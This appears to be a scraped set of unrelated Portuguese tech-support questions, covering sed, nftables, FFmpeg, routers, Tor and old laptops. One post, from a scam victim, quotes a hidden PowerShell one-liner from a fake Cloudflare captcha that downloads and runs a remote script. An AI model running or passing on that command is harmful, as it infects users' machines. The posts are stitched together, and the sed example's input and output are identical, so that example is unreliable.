Muitas vezes, aparece a irritante mensagem "Pesquisas em alta" no canto inferior esquerdo da minha barra de tarefas. Como posso removê-la?
Parece que isso é algo que deveria ter sido respondido aqui antes, mas minha busca ainda não encontrou o caso exato.
Tenho um arquivo (na verdade, um arquivo de hosts) com uma linha de sinalização. Tenho alguns scripts que adicionam e removem linhas antes da linha de sinalização.
Mas há o risco de que o processo de remoção deixe linhas em branco criadas pelo processo de adição.
Então, eu gostaria de um método para remover quaisquer linhas em branco imediatamente antes da linha de sinalização no arquivo.
Parece que isso deveria ser possível com sed
, mas os exemplos online que encontrei não incluem esse caso (ironicamente, eles incluem o caso oposto - adicionar uma linha em branco antes de uma linha correspondente)
Existe uma maneira simples de fazer isso?
Não é necessário usar sed
, qualquer outra ferramenta padrão de manipulação de texto também serviria.
É preferível editar no local, mas se realmente necessário, você pode copiar para um arquivo temporário e depois copiar de volta.
Entrada de amostra (não é possível postar os dados precisos)
10.8.7.6 static-host1
10.8.7.7 static-host2
10.8.8.5 static-host3
10.8.8.6 static-host4
# Start of dynamic section
10.9.9.8 dynamic-group1-host1
10.9.9.9 dynamic-group1-host1
10.9.8.7 dynamic-group2-host1
10.9.8.8 dynamic-group2-host2
# End of dynamic section
10.10.11.12 static-host5
10.10.11.13 static-host6
10.10.11.17 static-host7
10.10.11.18 static-host8
Saída de amostra
10.8.7.6 static-host1
10.8.7.7 static-host2
10.8.8.5 static-host3
10.8.8.6 static-host4
# Start of dynamic section
10.9.9.8 dynamic-group1-host1
10.9.9.9 dynamic-group1-host1
10.9.8.7 dynamic-group2-host1
10.9.8.8 dynamic-group2-host2
# End of dynamic section
10.10.11.12 static-host5
10.10.11.13 static-host6
10.10.11.17 static-host7
10.10.11.18 static-host8
Seria razoável para qualquer solução assumir que a última linha antes dos espaços em branco serem removidos sempre começa com o mesmo padrão, normalmente um endereço RFC1918 (por exemplo, 10. ou 192.168.)
Quanto ao outro comentário, sim, linhas em branco são desejáveis para facilitar a leitura, e é por isso que meu script as adiciona entre as seções que ele adiciona. Ao remover uma seção, eu poderia remover "quaisquer linhas em branco antes da primeira linha da seção", mas isso se resume ao mesmo problema: remover uma ou mais linhas em branco antes de uma linha que corresponda a um padrão.
(espero que seja óbvio) não é aceitável simplesmente remover todas as linhas em branco do arquivo.
Golpistas espalharam links fraudulentos no GitHub que levavam a uma página falsa de captcha da Cloudflare, e a página me instruiu a pressionar as teclas ⊞ Win+ R, Ctrl+ Ve, em seguida, pressionar Enter. Segui as instruções, mas nada aconteceu.
Percebi que era um golpe momentos depois. Como sei se meu computador está infectado com algum vírus do golpe?
O código de golpe de uma linha que me instruíram a colar é o seguinte. Um usuário comentou abaixo sugerindo dividir o código em duas linhas aqui para evitar que alguém o usasse por engano.
powershell
-WindowStyle Hidden -Command ([ScriptBlock]::Create((irm https://jaihind.edu.in/weatherdolphin/dollrandom))).Invoke(); Write-Host " Cloudflare. inc. Captcha-ID:1488 ";```
Estou pensando em comprar um laptop Linux, mas até agora só usei Macs e tenho uma pergunta de segurança relacionada a isso.
Com um Mac, o fabricante (Apple) oferece suporte tanto ao sistema operacional quanto ao hardware em conjunto. Portanto, em teoria, a Apple não apenas corrigiria bugs e vulnerabilidades encontrados no macOS, mas também corrigiria bugs/vulnerabilidades encontrados no hardware do MacBook, bem como quaisquer bugs/vulnerabilidades que surjam de interações entre o macOS e o hardware.
Se eu comprar um laptop e instalar o Linux nele, presumivelmente posso contar com o criador da minha distribuição Linux para corrigir bugs e vulnerabilidades no meu sistema operacional Linux. Mas quem (se houver alguém) corrigirá bugs e vulnerabilidades relacionados ao hardware do meu laptop?
Configurei o nftables como meu firewall padrão e único no openSUSE Tumbleweed. O iptables e o firewalld foram marcados como "tabu" e nunca serão reinstalados. Também verifiquei duas vezes para garantir que eles não estejam presentes no meu sistema. É o nftables e pronto.
Meu problema é que as cadeias de saída/entrada dentro de um inet
filtro não parecem afetar os dispositivos NAT. O nftables também está agindo como meu NAT para minha rede doméstica.
Tenho cerca de 8 dispositivos sempre conectados e, portanto, com NAT. Esses dispositivos (todos eles) não passam pelas minhas cadeias output
, input
o que é muito restritivo.
Não encontrei e não posso encontrar nenhuma informação sobre como garantir que dispositivos com NAT passem por outras tabelas e cadeias.
Alguém pode me explicar por que o nftables não roteia tráfego NAT por meio de outras tabelas e cadeias? Alguém pode fornecer uma maneira de enviar dados NAT por meio de outras tabelas do firewall?
Aqui está meu arquivo nftables.conf:
#!/usr/sbin/nft -f
flush ruleset
table inet filter{
chain state{
ct state {established, related} accept;
ct state invalid drop;
}
chain input{
type filter hook input priority 0; policy drop;
# allowed icmp types
ip protocol icmp icmp type {destination-unreachable, router-solicitation, router-advertisement, time-exceeded, parameter-problem} accept;
# if related or invalid
jump state;
# allow loopback
iif "lo" accept;
# NTP (Network Time)
udp dport 123 accept;
tcp dport 123 accept;
}
chain output{
type filter hook output priority 0; policy drop;
# allowed icmp types
ip protocol icmp icmp type {destination-unreachable, router-solicitation, router-advertisement, time-exceeded, parameter-problem} accept;
# if related or invalid
jump state;
# allow loopback
iif "lo" accept;
# allow TCP ident
tcp dport 113 accept;
# allow dns & dnssec
tcp dport { 53, 853 } accept;
udp dport { 53, 853 } accept;
# allow http
tcp dport { 80, 443, 1443, 8443, 8080 } accept;
udp dport { 80, 443, 1443, 8443, 8080 } accept;
# allow ftp
tcp dport { 20, 21 } accept;
udp dport 69 accept;
# allow ssh
tcp dport 22 accept;
udp dport 22 accept;
# allow email
tcp dport { 25, 465, 587 } accept; #SMTP & SMTPS
tcp dport { 110, 995 } accept; #POP3 & POP3S
udp dport { 110, 995 } accept; #POP3 & POP3S
tcp dport { 143, 993 } accept; #IMAP & IMAPS
udp dport { 143, 993 } accept; #IMAP & IMAPS
tcp dport 691; #MS Exchange
# IPsec VPN
udp dport { 500, 4500, 1701 } accept;
esp spi 50 accept;
ah spi 51 accept;
# NTP (Network Time)
udp dport 123 accept;
tcp dport 123 accept;
}
chain IPS_input{
type filter hook input priority 10; policy drop;
queue num 0
}
chain IPS_output{
type filter hook output priority 10; policy drop;
queue num 0;
}
chain IPS_forward {
type filter hook forward priority 10; policy drop;
queue num 0;
}
}
table nat {
chain prerouting {
type nat hook prerouting priority -100;
ct state invalid drop;
}
chain postrouting {
type nat hook postrouting priority 100;
ct state invalid drop;
ip saddr 10.0.0.0/24 oif eno2 masquerade; # "eno2" is our external interface
}
}
Quero usar o FFmpeg para adicionar faixas de áudio e legendas em inglês ( eng.mp3
e eng.srt
) a um vídeo (podemos chamá-lo de 3.mp4
) que já contém italiano, francês e alemão. O crucial é que o vídeo final permita alternar entre faixas de áudio e legendas em diferentes idiomas.
Para resumir, eu quero :3.mp4 + eng.mp3 + eng.srt → 3plus1.mp4
Eu tentei isso, mas não funciona: :
ffmpeg -i 3.mp4 -i eng.mp3 -i eng.srt \
-map 0:v -map 0:a -map 1:a -map 2:s:0 \
-metadata:s:a:0 language=eng -metadata:s:s:0 language=eng \
-c:s:0 mov_text -shortest 3plus1.mp4
Posso fazer um vídeo do zero com 4 idiomas ( 4.mp4
) começando com todos os .mp3
arquivos .srt
e da seguinte maneira (observe que a parte do vídeo é produzida dinamicamente como um fundo preto; isso mantém os arquivos pequenos para testes e o vídeo não é o ponto aqui):
Isto funciona :ita.mp3 + fre.mp3 + ger.mp3 + eng.mp3 + ita.srt + fre.srt + ger.srt + eng.srt → 4.mp4
ffmpeg -f lavfi -i "color=color=black:s=1280x720" \
-i ita.mp3 -i fre.mp3 -i ger.mp3 -i eng.mp3 \
-i ita.srt -i fre.srt -i ger.srt -i eng.srt \
-map 0:v -map 1:a:0 -map 2:a:0 -map 3:a:0 -map 4:a:0 \
-map 5:s:0 -map 6:s:0 -map 7:s:0 -map 8:s:0 \
-metadata:s:a:0 language=ita -metadata:s:a:1 language=fra -metadata:s:a:2 language=ger -metadata:s:a:3 language=eng \
-metadata:s:s:0 language=ita -metadata:s:s:1 language=fra -metadata:s:s:2 language=ger -metadata:s:s:3 language=eng \
-c:s:0 mov_text -c:s:1 mov_text -c:s:2 mov_text -c:s:3 mov_text \
-shortest 4.mp4
Não vejo como fazer upload dos arquivos que estou usando para testes aqui, mas encontrei um site chamado disroot que parece permitir o compartilhamento de arquivos.
Este link é para um count.zip
arquivo que criei com todos os arquivos que tenho usado para testes.
Editar: O comando fornecido por @Alain1A45 quase funciona:
ffmpeg -i 3.mp4 -i eng.mp3 -i eng.srt -map 0:v -map 0:a -map 1 -map 0:s -map 2 -c copy -c:s:3 mov_text -metadata:s:a:3 language=eng -metadata:s:s:3 language=eng -shortest 3plus1.mp4
Digo "quase funciona" porque adiciona o áudio adicional (eng.mp3) e a legenda (eng.srt), mas o áudio em inglês não aparece no player do QuickTime no Mac OS nem no player de vídeo do aplicativo Documents (da Readdle) para iPhone. Como são esses que eu uso o tempo todo, ainda estou procurando uma solução.
Aqui está uma captura de tela mostrando que o áudio em inglês não está disponível:
Eu sei que o áudio em inglês está lá porque consigo ouvi-lo usando comandos ffmpeg e o player VLC o exibe tanto no Mac OS quanto no iOS. Infelizmente, acho o player VLC muito inconveniente de usar.
Atualmente tenho um roteador Huawei AX2S.
Este roteador usa como padrão uma rede Wi-Fi 6 e 5G, mas oferece suporte a redes Wi-Fi 5 e 2,4 GHz.
Tenho um telefone antigo que não suporta Wi-Fi 6 nem 5G.
O problema, no entanto, é que não consigo descobrir como habilitar uma rede que seja Wi-Fi 5 e 2,4 GHz. Verifiquei as configurações do roteador, mas não há uma maneira óbvia de habilitá-lo.
Instalei e executei o Tor no Debian, mas não há nenhum arquivo de log /var/log/tor/
. Como posso habilitar a gravação de logs em um arquivo de log?
Tentei executar o Tor com privilégios de root, mas não funcionou.
Sou novo aqui, então, por favor, comente se minha pergunta precisar de correção.
Recebi um laptop antigo (Acer Aspire 2001WLCI) com a tarefa de recuperar dados antigos do disco rígido. O PC não inicializa.
Minha ideia de inicializar o Linux via USB é impossível, pois eu só consigo inicializar via CD ou disquete.
Minha próxima ideia foi extrair o disco, mas depois de uma hora pesquisando na internet, não consegui determinar o tipo de conector. Alguém sabe como ele se chama e, de quebra, conhece algum hardware para acessá-lo?